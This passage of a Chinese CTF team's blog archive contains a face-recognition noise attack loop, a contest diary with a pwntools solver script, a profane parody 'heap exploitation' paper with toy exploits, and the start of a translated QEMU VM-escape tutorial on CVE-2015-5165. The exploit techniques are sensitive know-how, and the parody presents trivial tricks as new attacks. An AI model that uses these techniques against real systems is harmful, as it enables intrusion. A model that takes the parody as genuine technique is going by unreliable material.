  2.99685597e-02,  1.66548729e-01 ,-1.57246217e-01, -3.03353313e-02,
  9.47528481e-02, -6.63631782e-02 ,-3.17470208e-02, -1.85560584e-01,
  2.26004064e-01,  1.28806546e-01 ,-1.15559876e-01, -2.06283614e-01,
  1.40707687e-01, -1.00104943e-01 ,-8.33150819e-02,  8.25207531e-02,
 -1.33005619e-01, -1.90996230e-01 ,-2.95138747e-01, -2.70678457e-02,
  3.30062211e-01,  1.28746748e-01 ,-1.88333243e-01,  5.84503338e-02,
 -8.36766977e-03, -7.47905578e-03 , 1.23152651e-01,  1.65390745e-01,
  5.01543283e-03,  1.08317155e-02 ,-8.22547823e-02, -4.03350629e-02,
  2.58023173e-01, -4.20480780e-02 ,-2.24346798e-02,  2.48134851e-01,
 -5.13138250e-04,  6.34072348e-02 , 6.94152107e-03, -9.12788417e-03,
 -1.11195974e-01,  3.06070670e-02 ,-1.62505597e-01, -1.20745702e-02,
 -1.50425863e-02, -1.41657144e-02 ,-1.81038231e-02,  1.26067802e-01,
 -1.41881093e-01,  1.04972236e-01 ,-5.23118973e-02,  3.43461856e-02,
 -2.61395201e-02, -2.75162887e-02 ,-2.53709070e-02, -3.63143757e-02,
  1.08865552e-01, -2.02156767e-01 , 1.07431002e-01,  8.50366130e-02,
  7.95102417e-02,  1.08320944e-01 , 1.53148308e-01,  8.43793526e-02,
 -2.67507583e-02, -3.10356300e-02 ,-2.16474622e-01, -2.27650702e-02,
  1.20539531e-01, -9.48047191e-02 , 1.40443712e-01,  5.64389490e-03,
]

for i in range(100):
  import cv2
  import random
  
  img = cv2.imread('31.jpg', 1)
  imgInfo = img.shape
  height = imgInfo[0] - 1
  width = imgInfo[1] - 1
  
  temp = 1000
  for i in range(0, temp):
      if random.randint(1, temp) % 2 == 0:
          img[random.randint(0, height), random.randint(0, width)] = (255, 255, 255)
      if random.randint(1, temp) % 2 != 0:
          img[random.randint(0, height), random.randint(0, width)] = (0, 0, 0)
  #cv2.imshow('dst', img)
  cv2.imwrite('noise.jpg', img)
  
  cv2.waitKey(0)

  unknown_image = face_recognition.load_image_file("./noise.jpg")
  unknown_encoding = face_recognition.face_encodings(unknown_image)[0]
  results = face_recognition.face_distance([keyface_encoding], unknown_encoding)
  print(results)
  if results[0]<0.245:
    exit(0)

最后是这样的

final

贵室:ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh

👴:你们看👴吊吗?

👴🚪的生活不能没有艺术,决赛有带画家👴,初赛有音乐家陈延毕。

16

中央已经决定了,公款吃喝,买了可乐和薯片,可见组织👆对比赛的重视程度。

这个比赛👴🐋非常重视,在初赛时腐败分子 housebuilding 拿出公费让冯老师买了可乐和薯片,可见组织👆对比赛的重视程度。

——《X-NUCA Final-WriteUp》

第一天主办方发战报的时候👴🚪恰好登顶,虽然没啥用但是帅。

5

《🔔smoke》

Day2

how2gen

早上上课没看题,讲移动通信技术,👴爱学习,坐第一排,无心听课,用移动通信技术问各位👴战况如何,然后开始睡带觉。

下课饭都不吃了直接去贵室,开始看的时候已经被清华扬了,那这题应该不难。

👴:清华能🐏,👴也能🐏

给定语法,跑 0x1000 条 code,覆盖所有 cov。MAXSIZE 给的很大,时间给的也很长,大力出奇迹 replace 就行。

from pwn import *
from hashlib import sha256
import string
import random
import zlib
r = remote('121.5.253.92',10001)
#r = remote('0.0.0.0',10001)
r.recvuntil('sha256(XXXX+')
data = r.recvuntil(') == ',drop=True)
res = r.recvuntil('\n',True)
chars = string.letters+string.digits
log.info(data)
log.info(res)
def fuck(data,res):
	for a in chars:
		print(a)
		for b in chars:
			for c in chars:
				for d in chars:
					nmsl = a+b+c+d
					if sha256(nmsl+data).hexdigest()==res:
						log.info(nmsl)
						return nmsl

r.sendline(fuck(data,res))
r.recvuntil("your grammar today:\n")
gram = r.recvuntil('EOF',True)

gram = gram.split("expression: ")[1]
gram = gram.split("statement: ")
expression = gram[0]
statement = gram[1]
expression_list = expression.split('|')
statement_list = statement.split('|')
#print(expression_list)
all_list_raw = expression_list+statement_list
all_list = []

for i in range(len(all_list_raw)):
	tmp = all_list_raw[i].replace(' -> cov_{}\n'.format(i),'').replace('\n','').replace('  ','').replace('  ','')
	all_list.append(tmp)
#print(all_list)
expression = all_list[:50]
statement = all_list[50:]
#print(expression)
#print(statement)

expression_fucked = []
for i in range(len(expression)):
	tmp = expression[i].replace('"','').replace('DIGIT','1').replace('NUMBER','22').replace('LETTER','a').replace('WORD','bb')
	expression_fucked.append(tmp)
statement_fucked = []
for i in range(len(statement)):
	tmp = statement[i].replace('"','').replace('DIGIT','1').replace('NUMBER','22').replace('LETTER','a').replace('WORD','bb')
	statement_fucked.append(tmp)

statement_fucked_statement = []
statement_fucked_expression = []
for i in range(len(statement_fucked)):
	if 'statement' in statement_fucked[i]:
		statement_fucked_statement.append(statement_fucked[i])
	else:
		statement_fucked_expression.append(statement_fucked[i])

print(statement_fucked_statement)


statement_fucked_expression_gen = []

for i in range(len(statement_fucked_expression)):
	tmp = statement_fucked_expression[i]
	while True:
		if 'expression' in tmp:
			tmp = tmp.replace('expression',random.choice(expression_fucked),1)
		else:
			break
	statement_fucked_expression_gen.append(tmp)

print(statement_fucked_expression_gen)


# statement_fucked_statement_gen = []
# for i in range(len(statement_fucked_statement)):
# 	tmp = statement_fucked_statement[i]
# 	while True:
# 		if 'statement' in tmp:
# 			tmp = tmp.replace('statement',random.choice(statement_fucked_expression_gen),1)
# 		else:
# 			break
# 	statement_fucked_statement_gen.append(tmp)

# print(statement_fucked_statement_gen)

statement_fucked_statement_gen = []
while len(statement_fucked_statement_gen) < 0x1000:
	statement_fucked_statement_remake = []
	for i in range(len(statement_fucked_statement)):
		tmp = statement_fucked_statement[i]
		cnt = 0 
		while True:
			if 'statement' in tmp:
				cnt += 1
				tmp = tmp.replace('statement',random.choice(statement_fucked_statement),1)
			else:
				break
			if cnt == 10:
				break
		statement_fucked_statement_remake.append(tmp)

	for i in range(len(statement_fucked_statement_remake)):
		tmp = statement_fucked_statement_remake[i]
		while True:
			if 'statement' in tmp:
				tmp = tmp.replace('statement',random.choice(statement_fucked_expression_gen),1)
			else:
				break
		while True:
			if 'expression' in tmp:
				tmp = tmp.replace('expression',random.choice(expression_fucked),1)
			else:
				break
		statement_fucked_statement_gen.append(tmp)

all_fucked = statement_fucked_statement_gen

code = ''
for i in range(0x1000):
	code += all_fucked[i]
	code += '|'
code = code[:-1]
code = code.encode()
code = zlib.compress(code)
size = len(code)
log.info(str(size))
r.recvuntil('size:')
r.sendline(str(size))
r.recvuntil('code(hex):')
r.sendline(code.encode('hex'))

r.interactive()

如果👴不上课,👴必拿一血。

夜里的智慧

👴和 housebuilding 去买智慧饮料、智慧零食,回来的时候 win-win 已经出了。👴买了五个蛋挞,专业人士·甜点杀手·烤箱带师·蛋挞爱好者 housebuidling 竟然不吃,杰哥一个、三万👴一个、coin 割割一个,7k👴远在一千公里外,只能🎩🎩两个代吃。

👴把吃的放到 7k👴旁边,呜呼哀哉,伏惟尚飨。

17

7k👴发表博客《win-win》

3389 连上就能拿的 flag,🎩🎩不能错过。

夜里上新题,coin 割割和杰哥看 halfhalf,👴和三万👴看 babaheap,三万👴想起了🌶天他用 67 行代码打碎了出题人的梦

三万👴:老版本 musl-libc,只要 leak 👴就用🌶个巨牛逼的 gadget 给他扬了

👴:edit uaf,delete 再 add 可以拿到相同指针, size 不清可以堆溢出,直接淦他🐎的

解法已经开题了,👴🚪管这叫《house of musl-dininghall》,因为👴🚪是在🌶个没有编号的食堂吃饭时想到了这个 gadget

本来想五点多回宿舍睡带觉,结果外面下带雨,回不去了,关灯支俩椅子躺着,housebuilding 还在看 fruit(fruit writeup)。六点多天亮雨停,收东西回宿舍,食堂开门,放起了洋文注意事项,但👴不饿甚至有点撑,没有 enter dininghall,天空上有阴,但草上没有小虫,新的一天开始了,晚安!

11

👴第一次通宵打比赛还是第四届海带校赛,18 级本科生队伍👴和 18 级研究生队伍 7k👴在贵室“激烈竞争”,🌶时的👴还不会用 emoji,7k👴还没有拿到 7k 这一巨额分数。天亮回宿舍睡觉,食堂开门,没有疫情也没有洋文注意事项,👴饿了,但👴只想睡觉。CTF 可以让人暂时忘掉很多事情,比赛时👴只想把题扬了,不再去想那些晦气,走出比赛,👴,👴只想睡觉。

7k👴跑路提前告别比赛,👴暂时登顶,比赛结束前 12 分钟,👴被 16 级本科生队伍淦了下去,喜提二等奖,拿了八百块巨款,那天👴吃了四个菜。

差一题登顶,赛后看题解,压缩包里的 RSA 像弱智一样,但👴没看到压缩包的注释,没解开那个包。

不过👴第二天还是吃了四个菜。

这八百块并不是👴拿到的第一笔奖金,第一次是炉石传说高校星联赛,👴牌库倒抽,痛失卡背,拿了第四名,奖金一百块巨款。🌶天👴也吃了四个菜。

👴胸无大志,没什么带梦想,但从高中开始吃食堂的那一天,👴就有了一个梦想,等👴有钱了👴要一顿吃四个菜。

——《夜店

第四届海带校赛是最后一次有奖金的校赛,之后👴成为了校赛出题人,却没了校赛撒💴人,👴只好拿着台灯、插排、沐浴露甚至创新创业学分忽悠人,再也没有那么弱智的题目,再也没见过那么热闹的校赛。

现在是 2021 了,校赛和 TCTF 中间差了有 10423 个 CISCN,👴忘了两年前的👴在想什么,那时的👴也想不到现在👴在想什么。比赛时👴只想把题扬了,走出比赛走在樱花带道,👴只想把该扬的全扬了。

抓法师,扬晦气!

如果说去年👴🚪的关键词是赚了、亏了、晦气,那么今年的关键词之一就是扬了。

👴:🐏了是最优解。

创造历史与寄同时进行

创造历史与寄也同时进行

熬了两天都顶不住了,睡前👴🚪已经被淦到第四名,二三四五分差不大,如果有得分不影响👴🚪排名的队伍把 Web 扬了,👴🚪就能上去。

九点多醒了一看,第五了,后面有队伍交了发密码,把👴🚪🐏了。

十点,倒数到零,没有队伍交 flag 把👴🚪淦下去,也没有队伍交 flag 把上面的队伍淦下去,👴🚪第五,超越历史最佳战绩。

差一题第二,血亏,CISCN2021 也是第五血亏。

赚了但亏了,至少不晦气

8

7

步子大了容易扯着蛋,差了丶运气,更多的是🐓不如人。20 级已经寄了,希望 21 级不再白给,多出几个👴,明年和👴🚪一起再往前淦几名。

👴🚪在 9.28 举行了👴🚪拿了 TCTF 第五名暨你爹有学上了庆祝带会

杰哥:下面会议进行第二项,由优秀研究生代表 AiDai 发表讲话,大家欢迎

coin 割割:👏👏👏👏👏👏👏

陈延毕:👏👏👏👏👏👏👏

7k👴:👏👏👏👏👏👏👏

housebuilding:👏👏👏👏👏👏👏

宋江:👏👏👏👏👏👏👏

👴:尊敬的中顾委 7k 主任,🐏委 housebuilding 主任,各位领导,老师🚪,亲爱的同学🚪,带+👇午好!后面👴编不出来了

👴话讲完,现场响起了热烈的 emoji。如果👴能👆贵印象,👴一定💊把👴保研至中国海洋带学贵室标红加粗。

9.30,冯老师和 housebuilding 夜店归来,而👴在写 House of musl-dininghall

housebuilding:如果没有非预期是不是更好

👴:爬

👴又想起了 210921 赛前讲话

应该不会有了,👴也不需要了

该重新排列了

——2021.9.28《夜彳亍·彳》

>

house of your mother's mourning hall——一种全新的堆利用方法

2021年5月25日 08:00

Abstract

GNU Libc is the standard C runtime library of most Linux distributions for PC and servers. There used to be many memory corruption exploit techniques against ptmalloc. But the widely deployment of mitigations on modern operating systems and continuous patching to ptmalloc effectively fuck most of these techniques. In this paper, 👴 present some new exploit methods against ptmalloc along with proof of concept code.

house of your mother’s mourning hall

该攻击方式适用于所有 libc

当程序中存在 system("/bin/sh") 时,我们可以直接 getshell

本质上是通过 liibc 下的 get_shell_attack 以及 input_666 利用,来配合 libc 下的 system_attack 进行组合利用的方法。主要适用于程序中仅有 gift 函数能用,其他选项都不管用的情况。(因为选择其他选项只会打印 NO_IMPLEMENT,无法完成常规的 tcache attack 等利用)

该方法最为核心的地方在于,利用了 glibc 中 system() 函数可以 getshell,并且执行 system() 函数可以通过输入 666 进 gift() 实现。

关于 libc 下的 input_666 的手法可以参考:c-switch 语句,该攻击的最终效果是可以执行 gift() 函数。

关于 libc 下的 system_attack 的细节详见:libc 源码,该攻击的最终效果有一堆,我们这里使用的是该攻击可以 get shell 效果特性。

example

这里以 mourning hall ctf final 的 house of your mother’s mourning hall 题目为例

======================
    mourning hall
======================
1.NM$L
2.Show the corpse
3.Cremate your mother
4.Edit the corpse
5.Exit
======================
choice:

菜单只有五个选项,但是如果我们输入 666,就可以进入 gift,调用 system("/bin/sh")

======================
    mourning hall
======================
1.NM$L
2.Show the corpse
3.Cremate your mother
4.Edit the corpse
5.Exit
======================
choice:666
# cat flag
flag{nmsl}

目前已经有很多 gift 666 利用的题目,但是我第一次把这称作 house of your mother’s mourning hall,所以这是一种全新的堆利用方法

build the mourning hall

如何出一道考察 hom 的题目

  1. 找一道题
  2. 有源码就直接用,没源码重复 1,或者自己照着写一遍
  3. 把菜单换成 house of your mother’s mourning hall
  4. 添加 house of your mother’s mourning hall 知识点
  5. 题目名称:house of your mother’s mourning hall
  6. 难度标为困难,打包交给主办方,等着收钱
  7. 主办方办比赛用到这道题时,直接参赛

example

找到第六届贵校信息安全竞赛中的 White_Give_Flag

void menu(){
   puts("======================");
   puts("      White Give      ");
   puts("======================");
   puts("1.Add");
   puts("2.Show");
   puts("3.Delete");
   puts("4.Edit");
   puts("5.Exit");
   puts("======================");
   printf("choice:");
}

修改菜单

void menu(){
   puts("======================");
   puts("    mourning hall     ");
   puts("======================");
   puts("1.NM$L");
   puts("2.Show the corpse");
   puts("3.Cremate your mother");
   puts("4.Edit the corpse");
   puts("5.Exit");
   puts("======================");
   printf("choice:");
}

出好了!此时,我提出一种全新的堆利用方法:house of your mother’s mourning hall plus

house of your mother’s mourning hall plus

该攻击方式适用于所有 libc

当程序可以打印 flag 时,我们可以直接得到 flag

本质上是通过 liibc 下的 open_read_flag 以及 puts_flag 利用,来配合 libc 下的 read_ret_0 进行组合利用的方法。主要适用于程序中仅有 gift 函数能用,其他选项都不管用的情况。(因为选择其他选项只会打印 NO_IMPLEMENT,无法完成常规的 tcache attack 等利用)

该方法最为核心的地方在于,利用了 glibc 中 read() 函数可以返回 0,并且执行 puts(array[0]) 函数可以通过 read() 返回 0 实现。

关于 libc 下的 puts_flag 的手法可以参考:c-数组,该攻击的最终效果是可以打印 flag。

关于 libc 下的 read_ret_0 的细节详见:libc 源码,该攻击的最终效果是返回 0 ,我们这里使用的是该攻击可以返回 0 效果特性。

example

这里以 mourning hall ctf final 的 house of your mother’s mourning hall plus 题目为例

======================
    mourning hall
======================
1.NM$L
2.Show the corpse
3.Cremate your mother
4.Edit the corpse
5.Exit
======================
choice:

读取选项时返回值是 read() 返回值

int read_choice(){
    char buf[8];
    int ret = read(0,buf,8);
    int choice = atoi(buf);
    if(ret > 5){
        exit(0);
    }
    if(ret < 0){
        exit(0);
    }
    return ret;
}

每个选项都会打印对应字符串

choice = read_choice();
puts(msg_ptr[choice]);

真正的核心漏洞是在 init() 中,这里把 flag 读了,放到 msg_ptr[0]

这里注意一个细节,我在出题的时候把变量名改了,比只改菜单不知道高到哪里去了。

void init(){
    open("./flag",0);
    read(3,flag,38);
    close(3);
    msg_ptr[0] = flag;
    msg_ptr[1] = nmsl_msg;
    msg_ptr[2] = show_the_corpse_msg;
    msg_ptr[3] = cremate_your_mother_msg;
    msg_ptr[4] = edit_the_corpse_msg;
    msg_ptr[5] = bye_msg;
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}

由于每个功能都没有实现

void add(){
	puts("NO_IMPLEMENT");
}

void show(){
	puts("NO_IMPLEMENT");
}

void delete(){
	puts("NO_IMPLEMENT");
}

void edit(){
	puts("NO_IMPLEMENT");
}

所以无法使用 tcache attack,所以也不能用 fastbin attack。

这里就需要利用我们的 house of your mother’s mourning hall。详见 exp

from pwn import *
r = process('./pwn')
r.recvuntil('choice:')
r.shutdown_raw('send')
r.interactive()

read() 读到 EOF 返回 0,puts() 越界打印 flag

======================
    mourning hall
======================
1.NM$L
2.Show the corpse
3.Cremate your mother
4.Edit the corpse
5.Exit
======================
choice:flag{nmsl}

Invalid!

house of your mother’s ashes

该攻击方式适用于所有 libc

当程序中存在 system("/bin/sh") 时,我们可以直接 getshell

本质上是通过 liibc 下的 get_shell_attack 以及 input_nmsl 利用,来配合 libc 下的 system_attack 进行组合利用的方法。主要适用于程序中仅有 gift 函数能用,其他选项都不管用的情况。(因为选择其他选项只会打印 NO_IMPLEMENT,无法完成常规的 tcache attack 等利用)

该方法最为核心的地方在于,利用了 glibc 中 system() 函数可以 getshell,并且执行 system() 函数可以通过输入 nmsl 进 gift() 实现。

关于 libc 下的 input_nmsl 的手法可以参考:c 库函数 strncmp(),该攻击的最终效果是可以执行 gift() 函数。

关于 libc 下的 system_attack 的细节详见:libc 源码,该攻击的最终效果有一堆,我们这里使用的是该攻击可以 get shell 效果特性。

该利用方法对 house of your mother’s mourning hall 进行了优化,因为已经提出 house of your mother’s mourning hall plus 并且我更想提出一个新的 house of,我决定把这种利用方法称为 house of your mother’s ashes。

在 house of your mother’s mourning hall 中,需要输入 666 才能进入 gift() 函数,但是输入 666 并不契合 house of your mother’s mourning hall 这一名称,所以我对该利用方法进行优化,将输入 666 改为输入 nmsl,使其与名称更加符合,提出 house of your mother’s ashes 这一全新的利用方法。

example

这里以 mourning hall ctf final 的 house of your mother’s ashes 题目为例

======================
        ashes
======================
1.NM$L
2.Show the corpse
3.Cremate your mother
4.Edit the corpse
5.Exit
======================
choice:

菜单只有五个选项,但是如果我们输入 nmsl,就可以进入 gift,调用 system("/bin/sh")

======================
    mourning hall
======================
1.NM$L
2.Show the corpse
3.Cremate your mother
4.Edit the corpse
5.Exit
======================
choice:nmsl
# cat flag
flag{nmsl}
>

VM escape - QEMU Case Study

2021年3月11日 08:00

VM escape - QEMU Case Study

原文:http://phrack.org/papers/vm-escape-qemu-case-study.html

Table of contents

  1 - Introduction
  2 - KVW/QEMU Overview
      2.1 - Workspace Environment
      2.2 - QEMU Memory Layout
      2.3 - Address Translation
  3 - Memory Leak Exploitation
      3.1 - The Vulnerable Code
      3.2 - Setting up the Card
      3.3 - Exploit
  4 - Heap-based Overflow Exploitation
      4.1 - The Vulnerable Code
      4.2 - Setting up the Card
      4.3 - Reversing CRC
      4.4 - Exploit
  5 - Putting All Together
      5.1 - RIP Control
      5.2 - Interactive Shell
      5.3 - VM-Escape Exploit
      5.4 - Limitations

  6 - Conclusions
  7 - Greets
  8 - References
  9 - Source Code

1 - Introduction

如今,虚拟机已经大量部署以供个人或企业使用。网络安全供应商使用不同的虚拟机在受限的环境中分析恶意软件。问题自然就出现了:恶意软件可以从虚拟机中逃逸并在主机上执行代码吗?

去年,来自 CrowdStrike 的 Jason Geffner 报告了 QEMU 中的一个严重的漏洞,该漏洞影响虚拟软盘驱动代码,允许攻击者从虚拟机中逃逸到主机 [1]。这个漏洞在 netsec 社区中获得了很多关注——可能是因为他有一个专用名称(VENOM)——这不是同类中的第一个。

在 2011 年,Nelson Elhage [2] 报告并成功利用了 QEMU 仿真 PCI 设备热插拔中的漏洞。exp 可以在 [3] 获得。

最近,来自数字公司的 Xu Liu 和 Shengping Wang 在 HITB2016 展示在 KVM/QEMU 上的成功利用。他们利用了两个存在于不同网卡(RTL8139 和 PCNET)仿真模型的漏洞(CVE-2015-5165 和 CVE-2015-7504)。在他们的展示中,他们概述了在主机上执行代码的主要步骤,但没有提供任何漏洞利用或技术细节来复现它。

在本文我们提供了 CVE-2015-5165(a memory-leak vulnerability)和 CVE-2015-7504(a heap-based overflow vulnerability)的深度分析,附带好使的 exp。这两个 exp 的结合可以日穿虚拟机(break out from a VM)并在目标主机上执行代码。我们讨论技术细节以便利用 QEMU 网卡设备仿真的漏洞,并提供可能在未来利用 QEMU 漏洞中重用的通用技术。例如,依靠共享内存区域和共享代码的交互式 bindshell。

2 - KVM/QEMU Overview

KVM(Kernal-based Virtual Machine)是一个内核模块,可以为用户空间程序提供完整的虚拟化基础架构。它允许一个人运行多个运行未修改的 Linux 或 Windows 镜像的虚拟机。KVM 的用户空间包含在处理硬件仿真的主线 QEMU(Quick Emulator)中。

2.1 - Workspace Environment

为了方便使用本文的示例代码,我们在此提供了复现我们开发环境的主要步骤。

由于我们针对的漏洞已经修补,我们需要 checkout QEMU 仓库,转换到修补漏洞之前的 commit ,然后我们配置 QEMU,仅针对目标 x86_64 并启用调试:

$ git clone git://git.qemu-project.org/qemu.git
$ cd qemu
$ git checkout bd80b59
$ mkdir -p bin/debug/native
$ cd bin/debug/native
$ ../../../configure --target-list=x86_64-softmmu --enable-debug \
$                    --disable-werror
$ make

在我们的测试环境,我们使用 4.9.2 版的 gcc 构建 QEMU。

对于其他情况,我们假设读者已经有一个可以运行以下命令的 Linux x86_64 镜像:

$ ./qemu-system-x86_64 -enable-kvm -m 2048 -display vnc=:89 \
$    -netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 \
$    -netdev user,id=t1, -device pcnet,netdev=t1,id=nic1 \
$    -drive file=<path_to_image>,format=qcow2,if=ide,cache=writeback

我们分配 2GB 内存并创建两个网卡:RTL8139 和 PCNET。

我们在运行 x86_64 架构的 3.16 内核的 Debian 7 上运行 QEMU。

2.2 - QEMU Memory Layout

为客户机分配的物理内存实际上是 QEMU 虚拟地址中 mmap 专用的区域。注意,分配客户机物理内存时 PROT_EXEC 标志未启用。

下图说明了客户机内存和主机内存如何共存。

                        Guest' processes
                     +--------------------+
Virtual addr space   |                    |
                     +--------------------+
                     |                    |
                     \__   Page Table     \__
                        \                    \
                         |                    |  Guest kernel
                    +----+--------------------+----------------+
Guest's phy. memory |    |                    |                |
                    +----+--------------------+----------------+
                    |                                          |
                    \__                                        \__
                       \                                          \
                        |             QEMU process                 |
                   +----+------------------------------------------+
Virtual addr space |    |                                          |
                   +----+------------------------------------------+
                   |                                               |
                    \__                Page Table                   \__
                       \                                               \
                        |                                               |
                   +----+-----------------------------------------------++
Physical memory    |    |                                               ||
                   +----+-----------------------------------------------++

此外,QEMU 为 BIOS 和 ROM 保留了一个内存区域,这些映射在 QEMU 映射文件中可用:

7f1824ecf000-7f1828000000 rw-p 00000000 00:00 0
7f1828000000-7f18a8000000 rw-p 00000000 00:00 0         [2 GB of RAM]
7f18a8000000-7f18a8992000 rw-p 00000000 00:00 0
7f18a8992000-7f18ac000000 ---p 00000000 00:00 0
7f18b5016000-7f18b501d000 r-xp 00000000 fd:00 262489    [first shared lib]
7f18b501d000-7f18b521c000 ---p 00007000 fd:00 262489           ...
7f18b521c000-7f18b521d000 r--p 00006000 fd:00 262489           ...
7f18b521d000-7f18b521e000 rw-p 00007000 fd:00 262489           ...

                     ...                                [more shared libs]

7f18bc01c000-7f18bc5f4000 r-xp 00000000 fd:01 30022647  [qemu-system-x86_64]
7f18bc7f3000-7f18bc8c1000 r--p 005d7000 fd:01 30022647         ...
7f18bc8c1000-7f18bc943000 rw-p 006a5000 fd:01 30022647         ...

7f18bd328000-7f18becdd000 rw-p 00000000 00:00 0         [heap]
7ffded947000-7ffded968000 rw-p 00000000 00:00 0         [stack]
7ffded968000-7ffded96a000 r-xp 00000000 00:00 0         [vdso]
7ffded96a000-7ffded96c000 r--p 00000000 00:00 0         [vvar]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

虚拟化环境中内存管理的更详细的说明可以在 [4] 中找到。

2.3 - Address Translation

在 QEMU 中存在两个翻译层:

  • 从客户机虚拟地址到客户机物理地址。在我们的利用中,我们需要配置需要 DMA 访问的网卡设备。例如,我们需要提供 Tx/Rx 缓冲区的物理地址以正确配置网卡设备。
  • 从客户机物理地址到 QEMU 虚拟地址空间。在我们的利用中,我们需要注入伪造的结构并在 QEMU 虚拟地址空间中获得他们的精确地址。

在 x64 系统,虚拟地址由页偏移(bits 0-11)和页码组成。在 Linux 系统,pagemap 文件启用用户空间程序 CAP_SYS_ADMIN 特权以找出每个虚拟页映射到哪个物理帧上。pagemap 文件为每个虚拟页包含一个 64-bit 值,在 kernel.org [5] 可以查到:

- Bits 0-54  : physical frame number if present.
- Bit  55    : page table entry is soft-dirty.
- Bit  56    : page exclusively mapped.
- Bits 57-60 : zero
- Bit  61    : page is file-page or shared-anon.
- Bit  62    : page is swapped.
- Bit  63    : page is present.

要将虚拟地址转换为物理地址,我们依靠 Nelson Elhage 的代码 [3] 。下面的程序分配一个缓冲区,用字符串 Where am I 填充,并打印它的物理地址:

---[ mmu.c ]---
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>

#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)

int fd;

uint32_t page_offset(uint32_t addr)
{
    return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

int main()
{
    uint8_t *ptr;
    uint64_t ptr_mem;
    
    fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        perror("open");
        exit(1);
    }
    
    ptr = malloc(256);
    strcpy(ptr, "Where am I?");
    printf("%s\n", ptr);
    ptr_mem = gva_to_gpa(ptr);
    printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);

    getchar();
    return 0;
}

如果我们在客户机运行上面的代码,并用 gdb attach QEMU 进程,我们可以看到我们的缓冲区分配到分配给客户机的物理地址空间中。更准确的说,我们注意到输出的地址实际上是相对客户机物理内存基地址的偏移。

root@debian:~# ./mmu
Where am I?
Your physical address is at 0x78b0d010

(gdb) info proc mappings
process 14791
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x7fc314000000     0x7fc314022000    0x22000        0x0
      0x7fc314022000     0x7fc318000000  0x3fde000        0x0
      0x7fc319dde000     0x7fc31c000000  0x2222000        0x0
      0x7fc31c000000     0x7fc39c000000 0x80000000        0x0
      ...

(gdb) x/s 0x7fc31c000000 + 0x78b0d010
0x7fc394b0d010:    "Where am I?"

3 - Memory Leak Exploitation

接下来,我们将利用 CVE-2015-5165—— 一个影响 RTL8139 网卡设备仿真器的内存泄露漏洞——为了重现 QEMU 的内存布局。更准确的说,我们需要泄露(一).text 段的基地址,以便构造我们的 shellcode,和(二)分配给客户机的物理内存基地址,以便获得一些注入的虚假结构体的精确地址。

3.1 - The vulnerable Code

REALTEK 网卡支持两种接收、发送操作模式:C 模式和 C+ 模式。将网卡设置为使用 C+ 模式时,NIC 设备仿真器错误的计算了 IP 数据包的长度并最终发送了比数据包中实际可用数据更多的数据。

这个漏洞在 hw/net/rtl8139.crtl8139_cplus_transmit_one 函数:

/* ip packet header */
ip_header *ip = NULL;
int hlen = 0;
uint8_t  ip_protocol = 0;
uint16_t ip_data_len = 0;

uint8_t *eth_payload_data = NULL;
size_t   eth_payload_len  = 0;

int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));
if (proto == ETH_P_IP)
{
    DPRINTF("+++ C+ mode has IP packet\n");

    /* not aligned */
    eth_payload_data = saved_buffer + ETH_HLEN;
    eth_payload_len  = saved_size   - ETH_HLEN;

    ip = (ip_header*)eth_payload_data;

    if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
        DPRINTF("+++ C+ mode packet has bad IP version %d "
            "expected %d\n", IP_HEADER_VERSION(ip),
            IP_HEADER_VERSION_4);
        ip = NULL;
    } else {
        hlen = IP_HEADER_LENGTH(ip);
        ip_protocol = ip->ip_p;
        ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
	}
}

IP 头包含两个字段 hlen ip->ip_len,分别代表 IP 头的长度(20字节,考虑不带选项的数据包)和包含 IP 头的数据包的总长度。如下面给出的这段代码末尾所示,计算 IP 数据的长度时(ip_data_len)没有检查保证 ip->ip_len >= hlenip_data_len 字段是 unsigned short,这导致发送比传输缓冲区中实际可用数据更多的数据。

更准确的说,ip_data_len 后面会用于计算拷贝到一个已分配缓冲区的 TCP 数据的长度(如果数据超过 MTU(最大传输单元)的大小,一块一块的拷贝):

int tcp_data_len = ip_data_len - tcp_hlen;
int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;

int is_last_frame = 0;

for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len;
    tcp_send_offset += tcp_chunk_size) {
    uint16_t chunk_size = tcp_chunk_size;

    /* check if this is the last frame */
    if (tcp_send_offset + tcp_chunk_size >= tcp_data_len) {
        is_last_frame = 1;
        chunk_size = tcp_data_len - tcp_send_offset;
    }

    memcpy(data_to_checksum, saved_ip_header + 12, 8);

    if (tcp_send_offset) {
        memcpy((uint8_t*)p_tcp_hdr + tcp_hlen,
                (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset,
                chunk_size);
    }

    /* more code follows */
}

因此,如果我们伪造一个带有错误长度的畸形包(例如 ip->ip_len = hlen - 1),我们可以泄露将近 64KB 的 QEMU 的堆内存。网卡设备仿真器最终将发送 43 个分段包而不是一个单独的包。

3.2 - Setting up the Card

为了发送我们的畸形包并读取泄露的数据,我们需要在网卡上配置第一个 Rx 和 Tx 描述符缓冲区,并设置一些标志以便我们的数据包能流经漏洞代码路径。

下图展示了 RTL8139 寄存器,我们不会详述所有的寄存器,除了与我们利用有关的。

            +---------------------------+----------------------------+
